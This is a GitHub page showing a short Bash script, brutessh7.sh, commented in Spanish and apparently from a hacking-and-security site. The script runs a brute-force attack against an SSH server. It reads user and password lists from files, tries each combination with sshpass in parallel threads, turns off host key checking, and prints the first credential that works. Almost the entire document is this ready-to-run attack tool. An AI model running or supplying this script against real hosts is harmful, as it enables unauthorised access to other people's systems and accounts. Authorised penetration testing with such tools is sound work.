-
Notifications
You must be signed in to change notification settings - Fork 0
Expand file tree
/
Copy pathbrutessh7.sh
More file actions
38 lines (36 loc) · 834 Bytes
/
brutessh7.sh
File metadata and controls
38 lines (36 loc) · 834 Bytes
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
#!/bin/bash
#
# Fuerza bruta inversa SSH
#
# apt-get install sshpass
#
# Uso: ./brutessh7.sh [IP] [Puerto]
#
# hackingyseguridad.com 2025
#
IP=${1:-127.0.0.1}
PORT=${2:-22}
MAX_THREADS=2
THREAD_COUNT=0
test_ssh() {
local user=$1
local pass=$2
if sshpass -p "$pass" ssh -o StrictHostKeyChecking=no \
-o ConnectTimeout=5 -p $PORT $user@$IP exit 2>/dev/null; then
echo -e "\n[+] Credencial valida: $user@$IP - Clave: $pass"
killall sshpass 2>/dev/null
exit 0
fi
}
while read password; do
while read user; do
((THREAD_COUNT++))
test_ssh "$user" "$password" &
# Control de hilos
if (( THREAD_COUNT % MAX_THREADS == 0 )); then
wait
fi
done < <(tr -d '\r' < usuarios0.txt)
done < <(tr -d '\r' < claves0.txt)
wait
echo -e "\n[!] .."